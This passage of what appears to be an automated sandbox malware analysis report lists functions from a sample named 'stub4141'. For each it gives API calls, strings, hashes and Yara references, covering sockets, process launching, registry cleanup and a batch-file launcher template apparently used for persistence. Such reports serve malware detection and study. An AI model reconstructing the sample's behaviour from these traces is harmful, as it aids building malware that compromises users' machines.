WriteFile.KERNEL32(000000FF,00000000,?,00000000,00000000), ref: 0040C987
CloseHandle.KERNEL32(000000FF), ref: 0040C999
LocalFree.KERNEL32(00000000), ref: 0040C9C3
CoTaskMemFree.COMBASE(?), ref: 0040C9CD
CoTaskMemFree.COMBASE(?), ref: 0040C9D7
LocalFree.KERNEL32(00000000), ref: 0040C9E1
LocalFree.KERNEL32(00000000), ref: 0040C9EB
LocalFree.KERNEL32(00000000), ref: 0040C9F5
CloseHandle.KERNEL32(000000FF), ref: 0040CA0C
LocalFree.KERNEL32(00000000), ref: 0040CA16
LocalFree.KERNEL32(00000000), ref: 0040CA20
CoTaskMemFree.COMBASE(?), ref: 0040CA2A
LocalFree.KERNEL32(00000000), ref: 0040CA34
LocalFree.KERNEL32(00000000), ref: 0040CA3E
CoTaskMemFree.COMBASE(?), ref: 0040CA48
LocalFree.KERNEL32(00000000), ref: 0040CA52

Strings

%s\%s.lnk, xrefs: 0040C814
@echo offcmd /c start "" "%S%S" %S, xrefs: 0040C870
{9206FD25-560E-4C37-B7D4-BE012C703254}, xrefs: 0040C8BE, 0040C922
%s\%s\%s.bat, xrefs: 0040C92B
{DB324A97-B31B-4D9E-9903-E21DB623A349}, xrefs: 0040C862
{28E4FAC0-6C6D-42C5-89DC-9B74866D97BB}, xrefs: 0040C80B
{4881F4DD-9BA7-4C0C-8EAF-062EC37C12F9}, xrefs: 0040C91D
%s\%s, xrefs: 0040C8C7

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: FreeLocal$AllocTask$__snwprintf$FolderKnownPathlstrlen$CloseCreateFileHandle$DirectoryErrorLastWrite__snprintf
String ID: %s\%s$%s\%s.lnk$%s\%s\%s.bat$@echo offcmd /c start "" "%S%S" %S${28E4FAC0-6C6D-42C5-89DC-9B74866D97BB}${4881F4DD-9BA7-4C0C-8EAF-062EC37C12F9}${9206FD25-560E-4C37-B7D4-BE012C703254}${DB324A97-B31B-4D9E-9903-E21DB623A349}
API String ID: 2364451356-1206212014
Opcode ID: e3619488af76f8a0bde65dcf76a09003566fcfe331d5b764958f13f395239ab4
Instruction ID: 2239a55162a10079c1b803cd8b6127a59ff19953af78858a14eb9426a63defc9
Opcode Fuzzy Hash: e3619488af76f8a0bde65dcf76a09003566fcfe331d5b764958f13f395239ab4
Instruction Fuzzy Hash: 4A713975A40309FFDB14EBA4DD8AFAE77B5AB48701F104A29F601B62D0D7789940CF68

Function 020EA807 Relevance: 63.2, APIs: 42, Instructions: 229stringCOMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,020E13F3), ref: 020EA80D
CommandLineToArgvW.SHELL32(?,020E13F3), ref: 020EA81E
lstrcmpiW.KERNEL32(?,0048867C), ref: 020EA833
lstrcmpiW.KERNEL32(?,00488064), ref: 020EA858
IsUserAnAdmin.SHELL32 ref: 020EA870
OpenEventW.KERNEL32(00100002,00000000,0048819C), ref: 020EA88E
SetEvent.KERNEL32(00000000), ref: 020EA8A1
CloseHandle.KERNEL32(00000000), ref: 020EA8AF
ExitProcess.KERNEL32 ref: 020EA8B7

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: CommandEventLinelstrcmpi$AdminArgvCloseExitHandleOpenProcessUser
String ID:
API String ID: 786710000-0
Opcode ID: 661f376a0de1acd9a2569c372308b01707640ddc1a59dda81bc1dec582fcfcf4
Instruction ID: 6793700426e86ddf245b8e5b273e9cd636413a3de8ef14fb96cadaea8e0a5517
Opcode Fuzzy Hash: 661f376a0de1acd9a2569c372308b01707640ddc1a59dda81bc1dec582fcfcf4
Instruction Fuzzy Hash: 10915A30A44304EFDB14AFA4DE4DBAD7BB5FB08706F248929F612A62D0C7B49484DB58

Function 0041F390 Relevance: 61.9, APIs: 41, Instructions: 361networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000001,00000006), ref: 0041F39F
WSACreateEvent.WS2_32 ref: 0041F3B5
shutdown.WS2_32(000000FF,00000002), ref: 0041F870
closesocket.WS2_32(000000FF), ref: 0041F87A

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CreateEventclosesocketshutdownsocket
String ID:
API String ID: 3702629066-0
Opcode ID: 5d200b884d6c5e81e55d4f1a1cb6a30150506e900649c13d405d089acb47e00c
Instruction ID: 83f9f01dabe78b06fcc02e920c86bf45db2aa3538f62c67b83e08c79a5b4a512
Opcode Fuzzy Hash: 5d200b884d6c5e81e55d4f1a1cb6a30150506e900649c13d405d089acb47e00c
Instruction Fuzzy Hash: BAF16274D00209EFDB14DFA0D888AEEB7B5FF48314F10896AE515A7391D7389A86DF24

Function 00420920 Relevance: 60.5, APIs: 40, Instructions: 459synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000), ref: 00420996
WaitForSingleObject.KERNEL32(?,00000000), ref: 004209DE
WaitForSingleObject.KERNEL32(?,00000000), ref: 00420A18
WaitForMultipleObjects.KERNEL32(00000006,?,00000000,000000FF), ref: 00420C6E
WaitForSingleObject.KERNEL32(?,00000000), ref: 00420F77
shutdown.WS2_32(00000000,00000002), ref: 004210AF
closesocket.WS2_32(00000000), ref: 004210C3
CloseHandle.KERNEL32(00000000), ref: 004210F2
shutdown.WS2_32(00000000,00000002), ref: 0042111D
closesocket.WS2_32(00000000), ref: 0042112A
LocalFree.KERNEL32(?), ref: 0042113E

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Wait$ObjectSingle$closesocketshutdown$CloseFreeHandleLocalMultipleObjects
String ID:
API String ID: 3117981272-0
Opcode ID: 12ba3741b37db3cff6e63ece5eb839666b7b5653288b3cef7358f55683b0ab0a
Instruction ID: 91a5dc632092657546399f10b790c9d468d58ecde0799bc5b7ff23ec2e0a90ba
Opcode Fuzzy Hash: 12ba3741b37db3cff6e63ece5eb839666b7b5653288b3cef7358f55683b0ab0a
Instruction Fuzzy Hash: 59225E74B00218DFDB24CF94ED88BEE73B5BB48304F504599EA49A7281C7B95E84CF66

Function 0041AE60 Relevance: 59.8, APIs: 28, Strings: 6, Instructions: 276librarymemorysynchronizationCOMMON

Download Yara Rule

APIs

OpenMutexW.KERNEL32(00100000,00000000,{BFC89505-7634-423F-83D6-983772D943D2}), ref: 0041AE72
LoadLibraryW.KERNEL32(KERNEL32.DLL), ref: 0041AE82
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0041AE99
GetModuleFileNameW.KERNEL32(00000000,00000000,00000104), ref: 0041AEBD
SetEvent.KERNEL32(00000000), ref: 0041B1DA
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0041B1E9
CloseHandle.KERNEL32(00000000), ref: 0041B1F6
CloseHandle.KERNEL32(00000000), ref: 0041B20B
ExitProcess.KERNEL32 ref: 0041B22B

Part of subcall function 00415DA0: SetEvent.KERNEL32(00000000,?,0041B236), ref: 00415DBC
Part of subcall function 00415DA0: WaitForSingleObject.KERNEL32(00000000,000000FF,?,0041B236), ref: 00415DD4
Part of subcall function 00415DA0: CloseHandle.KERNEL32(00000000,?,0041B236), ref: 00415DEA
Part of subcall function 00415DA0: SetEvent.KERNEL32(00000000,?,0041B236), ref: 00415DFF
Part of subcall function 00415DA0: WaitForSingleObject.KERNEL32(00000000,000000FF,?,0041B236), ref: 00415E17
Part of subcall function 00415DA0: CloseHandle.KERNEL32(00000000,?,0041B236), ref: 00415E2D
Part of subcall function 00415DA0: CloseHandle.KERNEL32(00000000,?,0041B236), ref: 00415E42
Part of subcall function 00415DA0: SetEvent.KERNEL32(00000000,?,0041B236), ref: 00415E58
Part of subcall function 00415DA0: WaitForSingleObject.KERNEL32(00000000,000000FF,?,0041B236), ref: 00415E70
Part of subcall function 00415DA0: CloseHandle.KERNEL32(00000000,?,0041B236), ref: 00415E85
Part of subcall function 00415DA0: SetEvent.KERNEL32(00000000,?,0041B236), ref: 00415E9B
Part of subcall function 00415DA0: WaitForSingleObject.KERNEL32(00000000,000000FF,?,0041B236), ref: 00415EB3
Part of subcall function 00415DA0: CloseHandle.KERNEL32(00000000,?,0041B236), ref: 00415EC8
Part of subcall function 00415DA0: CloseHandle.KERNEL32(00000000,?,0041B236), ref: 00415EDE

CloseHandle.KERNEL32(000002A4), ref: 0041B246
CloseHandle.KERNEL32(00000000), ref: 0041B256
CloseHandle.KERNEL32(00000000), ref: 0041B27C
LocalFree.KERNEL32(00000000), ref: 0041B28C
ExitProcess.KERNEL32 ref: 0041B29D

Strings

{6837DC06-EC8B-4D09-8FB2-23C8B38AB850}, xrefs: 0041AFF1, 0041B015
{BBF173FA-E399-4CBA-82A3-5D53467FFBF2}, xrefs: 0041AF00
{BFC89505-7634-423F-83D6-983772D943D2}, xrefs: 0041AE66
{1559C4CD-3D26-469A-8224-1AB8C1DF7CDA}, xrefs: 0041B033, 0041B057
KERNEL32.DLL, xrefs: 0041AE7D
{C5317D93-500A-471E-A899-EE445E4629EC}, xrefs: 0041AFAF, 0041AFD3

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandle$EventObjectSingleWait$ExitLocalProcess$AllocFileFreeLibraryLoadModuleMutexNameOpen
String ID: KERNEL32.DLL${1559C4CD-3D26-469A-8224-1AB8C1DF7CDA}${6837DC06-EC8B-4D09-8FB2-23C8B38AB850}${BBF173FA-E399-4CBA-82A3-5D53467FFBF2}${BFC89505-7634-423F-83D6-983772D943D2}${C5317D93-500A-471E-A899-EE445E4629EC}
API String ID: 2953619224-4294068103
Opcode ID: b90944766bf68fafea6672ad89e64095ddd9ca03b41480f7e2b418b20f737a33
Instruction ID: 3b2a98689855ece6fac126f7674ce6e092cfd64c45ed9d319eeb5aa1590a6740
Opcode Fuzzy Hash: b90944766bf68fafea6672ad89e64095ddd9ca03b41480f7e2b418b20f737a33
Instruction Fuzzy Hash: 08B14270904304EFDB24ABA1DD497EE77B5EB08715F20452EE605A52E0D7BC88C9CB9E

Function 004026B0 Relevance: 59.8, APIs: 28, Strings: 6, Instructions: 257filestringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004026D0
_memset.LIBCMT ref: 004026EF
_memset.LIBCMT ref: 0040270E
SHGetKnownFolderPath.SHELL32(00437A58,00000000,00000000,?), ref: 0040272F
__snwprintf.LIBCMT ref: 00402758
CoTaskMemFree.COMBASE(?), ref: 00402767
_memset.LIBCMT ref: 00402786
GetTempPathW.KERNEL32(00000104,?), ref: 0040279A
__snwprintf.LIBCMT ref: 004027BC
__snwprintf.LIBCMT ref: 004027FC
CreateDirectoryW.KERNEL32(?,00000000), ref: 0040280D
GetLastError.KERNEL32 ref: 00402819
lstrcpyW.KERNEL32(?,?), ref: 0040284F
__snwprintf.LIBCMT ref: 00402876
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00402897
GetLastError.KERNEL32 ref: 004028AC

Strings

%s\%s, xrefs: 004027EB
Open, xrefs: 00402A5F
D, xrefs: 00402999
"%s", xrefs: 00402A2F
%s\%s, xrefs: 00402865
"%s" "%s", xrefs: 00402963

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: __snwprintf_memset$CreateErrorLastPath$DirectoryFileFolderFreeKnownTaskTemplstrcpy
String ID: "%s"$"%s" "%s"$%s\%s$%s\%s$D$Open
API String ID: 37154465-2887319354
Opcode ID: e56e46b7471cba44febf284d9e7b48d7f5c0495923210300032027f5e145b28c
Instruction ID: f44d20aa1d81ac9c2b7a820f59f246338170774511f7fd992e6f935400f2f4cc
Opcode Fuzzy Hash: e56e46b7471cba44febf284d9e7b48d7f5c0495923210300032027f5e145b28c
Instruction Fuzzy Hash: F6A17571A00318BBDB64DB60DD89FDA7375AF48704F0085E9F609A61C1EBB49B84CF99

Function 004121C0 Relevance: 58.0, APIs: 27, Strings: 6, Instructions: 267memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 004121E9
_wcscat.LIBCMT ref: 00412252
__snwprintf.LIBCMT ref: 00412294
_wcscat.LIBCMT ref: 004122AA
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 004122DE
GetWindowsDirectoryW.KERNEL32(00000000,00000104), ref: 00412303
__snwprintf.LIBCMT ref: 00412345
_wcscat.LIBCMT ref: 0041235B
LocalFree.KERNEL32(00000000), ref: 00412371
SHGetKnownFolderPath.SHELL32(00437A58,00000000,00000000,?), ref: 004123A1
__snwprintf.LIBCMT ref: 004123D7
CoTaskMemFree.COMBASE(?), ref: 004123E6
_wcscat.LIBCMT ref: 004123FA
SHGetKnownFolderPath.SHELL32(00437AA8,00000000,00000000,?), ref: 00412433
__snwprintf.LIBCMT ref: 00412469
CoTaskMemFree.COMBASE(?), ref: 00412478
_wcscat.LIBCMT ref: 0041248C
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 004124C0
GetTempPathW.KERNEL32(00000104,00000000), ref: 004124E5
LocalFree.KERNEL32(00000000), ref: 0041255D

Part of subcall function 00401C50: _wcsrchr.LIBCMT ref: 00401C5C

__snwprintf.LIBCMT ref: 00412531
_wcscat.LIBCMT ref: 00412547
SHGetKnownFolderPath.SHELL32(00437A68,00000000,00000000,?), ref: 0041258D
__snwprintf.LIBCMT ref: 004125C3
CoTaskMemFree.COMBASE(?), ref: 004125D2
_wcscat.LIBCMT ref: 004125E6
LocalFree.KERNEL32(00000000), ref: 0041260F

Strings

'%s%s', xrefs: 00412334
'%s%s', xrefs: 004123C6
'%s%s', xrefs: 00412520
'%s%s', xrefs: 004125B2
'%s%s', xrefs: 00412458
'%s', xrefs: 00412283

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: _wcscat$FreeLocal__snwprintf$Path$AllocFolderKnownTask$DirectoryTempWindows_wcsrchr
String ID: '%s%s'$'%s%s'$'%s%s'$'%s%s'$'%s%s'$'%s'
API String ID: 3511546674-4258658051
Opcode ID: 69c816b17b7465b42ddd4f9fc4123907cd701a4a614fe9bb9becf18085fd9e19
Instruction ID: c2136ff04e49e739d204236f3aa9d2589d3946a3feb6046c6eeb39a5afdf75da
Opcode Fuzzy Hash: 69c816b17b7465b42ddd4f9fc4123907cd701a4a614fe9bb9becf18085fd9e19
Instruction Fuzzy Hash: 0CB1A0B1A4021DABDB24DB50DDC9FE9B375EB54304F1081A9E109AB291D778EE81CF58

Function 020E6A87 Relevance: 58.0, APIs: 29, Strings: 4, Instructions: 241memorystringprocessCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 020E6AFE
SetEvent.KERNEL32(0048C660), ref: 020E6B49
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020E6B7D
wnsprintfW.SHLWAPI ref: 020E6BB3
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020E6BC3
lstrcpyW.KERNEL32(00000000,00000000), ref: 020E6BEA
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020E6C10
lstrcpyW.KERNEL32(00000000,00487FC8), ref: 020E6C35
CoInitializeEx.COMBASE(00000000,00000006), ref: 020E6C9C
ShellExecuteExW.SHELL32(<@@), ref: 020E6CAF
GetLastError.KERNEL32 ref: 020E6CBB
CoUninitialize.COMBASE ref: 020E6CD0
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020E6D11
wnsprintfW.SHLWAPI ref: 020E6D4C
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 020E6D93
OpenEventW.KERNEL32(00100002,00000000,00485E44), ref: 020E6DB4
SetEvent.KERNEL32(00000000), ref: 020E6DD0
CloseHandle.KERNEL32(00000000), ref: 020E6DDD
LocalFree.KERNEL32(00000000), ref: 020E6DEA
LocalFree.KERNEL32(00000000), ref: 020E6DF7
OpenEventW.KERNEL32(00100002,00000000,00485E44), ref: 020E6E0B
SetEvent.KERNEL32(00000000), ref: 020E6E27
CloseHandle.KERNEL32(00000000), ref: 020E6E34
LocalFree.KERNEL32(00000000), ref: 020E6E41
LocalFree.KERNEL32(00000000), ref: 020E6E4E
LocalFree.KERNEL32(00000000), ref: 020E6E5B
LocalFree.KERNEL32(00000000), ref: 020E6E68
shutdown.WS2_32(?,00000002), ref: 020E6E74
closesocket.WS2_32(?), ref: 020E6E7E

Part of subcall function 020E5FB7: CreateDirectoryW.KERNEL32(00000000,00000000), ref: 020E5FE8
Part of subcall function 020E5FB7: GetLastError.KERNEL32 ref: 020E5FF3
Part of subcall function 020E5FB7: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020E600B
Part of subcall function 020E5FB7: __snwprintf.LIBCMT ref: 020E6035
Part of subcall function 020E5FB7: CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 020E605A
Part of subcall function 020E5FB7: GetLastError.KERNEL32 ref: 020E6063
Part of subcall function 020E5FB7: LocalFree.KERNEL32(00000000), ref: 020E60E3
Part of subcall function 020E5FB7: LocalFree.KERNEL32(00000000), ref: 020E60ED

Strings

@@, xrefs: 020E6C56
D+C, xrefs: 020E6C84
<@@, xrefs: 020E6CA8, 020E6CAE
D, xrefs: 020E6D66

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: Local$Free$AllocEvent$CreateErrorLast$CloseHandleOpenlstrcpywnsprintf$DirectoryExecuteFileInitializeProcessShellUninitialize__snwprintfclosesocketsetsockoptshutdown
String ID: <@@$@@$D$D+C
API String ID: 3249679174-1621593601
Opcode ID: 861ef671ccf6afb749c95a8ce9807ead875e68c8d791b4e604db6d31847333ee
Instruction ID: f7011de480146834365b385d7289b220ad7159bc073b346bffca14d7add1f174
Opcode Fuzzy Hash: 861ef671ccf6afb749c95a8ce9807ead875e68c8d791b4e604db6d31847333ee
Instruction Fuzzy Hash: 9AA13D70900218EFEB60DF60DC49FADB7B4FF48705F1088A9E60AA7291DB755A84CF64

Function 00413430 Relevance: 54.5, APIs: 21, Strings: 10, Instructions: 286registryfileCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 00413483
StrStrIW.SHLWAPI(00000000,.DLL), ref: 0041369D
DeleteFileW.KERNEL32(00000000), ref: 004136C4
LocalFree.KERNEL32(00000000), ref: 004136E5
LocalFree.KERNEL32(00000000), ref: 004136F2
__snwprintf.LIBCMT ref: 00413727
RegDeleteKeyExW.ADVAPI32(80000001,?,00000200,00000000), ref: 00413742

Part of subcall function 00414050: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,00414C0B,00415CD0,00000000), ref: 0041407B
Part of subcall function 00414050: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,00414C0B), ref: 00414095
Part of subcall function 00414050: wnsprintfW.SHLWAPI ref: 004140C5
Part of subcall function 00414050: wnsprintfW.SHLWAPI ref: 004140E1
Part of subcall function 00414050: LocalFree.KERNEL32(00000000), ref: 0041491A

StrStrIW.SHLWAPI(00000000,.DLL), ref: 0041379A
DeleteFileW.KERNEL32(00000000), ref: 004137C1
LocalFree.KERNEL32(00000000), ref: 004137E2
LocalFree.KERNEL32(00000000), ref: 004137EF
StrStrIW.SHLWAPI(00000000,.DLL), ref: 00413824
_memset.LIBCMT ref: 0041385F
__snwprintf.LIBCMT ref: 0041387D
RegOpenKeyExW.ADVAPI32(80000001,?,00000000,000F013F,?), ref: 0041389F
RegDeleteValueW.ADVAPI32(?,00000000), ref: 004138B7
RegCloseKey.ADVAPI32(?), ref: 004138D7
LocalFree.KERNEL32(00000000), ref: 004138E4
LocalFree.KERNEL32(00000000), ref: 004138F1
shutdown.WS2_32(?,00000002), ref: 0041392A
closesocket.WS2_32(?), ref: 00413934

Part of subcall function 00420070: ___crtGetLocaleInfoEx.LIBCMTD ref: 0042008D

Part of subcall function 0041FCF0: ___crtGetLocaleInfoEx.LIBCMTD ref: 0041FD0D

Strings

", xrefs: 00413618
SOFTWARE\%s, xrefs: 0041386C
.DLL, xrefs: 00413818
, xrefs: 00413604
SOFTWARE\%s, xrefs: 00413716
.DLL, xrefs: 00413691
{EE228DDC-782F-45A5-A48F-B7B5CBF44397}, xrefs: 00413711, 00413867
.DLL, xrefs: 0041378E
!, xrefs: 0041360E
#, xrefs: 00413622

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$Free$Delete$AllocFileInfoLocale___crt__snwprintfwnsprintf$CloseOpenValue_memsetclosesocketsetsockoptshutdown
String ID: $!$"$#$.DLL$.DLL$.DLL$SOFTWARE\%s$SOFTWARE\%s${EE228DDC-782F-45A5-A48F-B7B5CBF44397}
API String ID: 421061684-1718839362
Opcode ID: e9723cfcc5cf426ec0437829b3dd2a8b85a29ed16004e357a6a6378b4ee90c38
Instruction ID: b7433cc6c38bc73970498797e6805627f09c4c2db632d3a0131aade7ec4bb056
Opcode Fuzzy Hash: e9723cfcc5cf426ec0437829b3dd2a8b85a29ed16004e357a6a6378b4ee90c38
Instruction Fuzzy Hash: B9D119B1D002189FEB24DF60DC89BEEB7B4FB44304F1085D9E589A7281DBB95A84DF94

Function 00415550 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 292registrymemorystringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 004155C1
lstrcpyW.KERNEL32(00000000,00000000), ref: 004155DC
StrStrIW.SHLWAPI(00000000,.DLL), ref: 004155EB
_memset.LIBCMT ref: 0041560D
__snwprintf.LIBCMT ref: 0041562B
RegGetValueW.ADVAPI32(80000001,?,00000000,00000008,00000000,00000000,00000000), ref: 0041565A
LocalAlloc.KERNEL32(00000040,?), ref: 0041568A
RegGetValueW.ADVAPI32(80000001,?,00000000,00000008,00000000,00000000,00000000), ref: 004156C5

Strings

.DLL, xrefs: 004155E2
SOFTWARE\%s, xrefs: 0041561A
{EE228DDC-782F-45A5-A48F-B7B5CBF44397}, xrefs: 00415615

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: AllocLocalValue$__snwprintf_memsetlstrcpy
String ID: .DLL$SOFTWARE\%s${EE228DDC-782F-45A5-A48F-B7B5CBF44397}
API String ID: 2286648044-2886109814
Opcode ID: 3f861e8402ee00ae7a0fd5c9e14a18fa3626c6a709ebdf8ce26543330018795c
Instruction ID: 4a4dc1ca04686397927f5b90c0b4cdb952784f8bed974cf749e57bd1a6b96eae
Opcode Fuzzy Hash: 3f861e8402ee00ae7a0fd5c9e14a18fa3626c6a709ebdf8ce26543330018795c
Instruction Fuzzy Hash: 20D11BB4A00218EFDB24DF64DD8DBDEB7B5BF88304F108599E509AB290DB749A80CF55

Function 00414BB0 Relevance: 49.3, APIs: 27, Strings: 1, Instructions: 290memoryfilestringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00414C1E
lstrcpyW.KERNEL32(00000000,00000000), ref: 00414C39
StrStrIW.SHLWAPI(00000000,.DLL), ref: 00414C48
CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 00414C6D
GetFileSize.KERNEL32(000000FF,00000000), ref: 00414C86
LocalAlloc.KERNEL32(00000040,000000FF), ref: 00414C9F
ReadFile.KERNEL32(000000FF,00000000,000000FF,?,00000000), ref: 00414CC4
CloseHandle.KERNEL32(000000FF), ref: 00414CDA

Strings

.DLL, xrefs: 00414C3F

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: File$AllocLocal$CloseCreateHandleReadSizelstrcpy
String ID: .DLL
API String ID: 2968648924-899428287
Opcode ID: db4f7e30df752c4905349ab1b2087a3ff3d3a7144a2083c86da65238f3f508d8
Instruction ID: 24caeab8e76e56f7d4a74c21a49c269f88a554219e2b174288407c08a1c2d4a1
Opcode Fuzzy Hash: db4f7e30df752c4905349ab1b2087a3ff3d3a7144a2083c86da65238f3f508d8
Instruction Fuzzy Hash: 2FC11A74D00209EFDB14DFE4D989BEEBBB5FF88304F108519E615AB290D7789982CB58

Function 00406500 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 198memoryCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 00406577
SetEvent.KERNEL32(00000000), ref: 004065C2
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 004065F6
wnsprintfW.SHLWAPI ref: 0040662C
OpenEventW.KERNEL32(00100002,00000000,{FEC90C2D-1EAC-4594-8480-16BF6B2AB0E2}), ref: 00406655
SetEvent.KERNEL32(00000000), ref: 00406671
CloseHandle.KERNEL32(00000000), ref: 0040667E
LocalFree.KERNEL32(00000000), ref: 0040668B
LocalFree.KERNEL32(00000000), ref: 00406698
shutdown.WS2_32(?,00000002), ref: 004066A4
closesocket.WS2_32(?), ref: 004066AE
LocalFree.KERNEL32(00000000), ref: 004067E1
LocalFree.KERNEL32(00000000), ref: 004067EE
shutdown.WS2_32(?,00000002), ref: 004067FA
closesocket.WS2_32(?), ref: 00406804

Part of subcall function 00405D50: CreateDirectoryW.KERNEL32(00000000,00000000), ref: 00405D81
Part of subcall function 00405D50: GetLastError.KERNEL32 ref: 00405D8C
Part of subcall function 00405D50: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00405DA4
Part of subcall function 00405D50: __snwprintf.LIBCMT ref: 00405DCE
Part of subcall function 00405D50: CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00405DF3
Part of subcall function 00405D50: GetLastError.KERNEL32 ref: 00405DFC
Part of subcall function 00405D50: LocalFree.KERNEL32(00000000), ref: 00405E7C
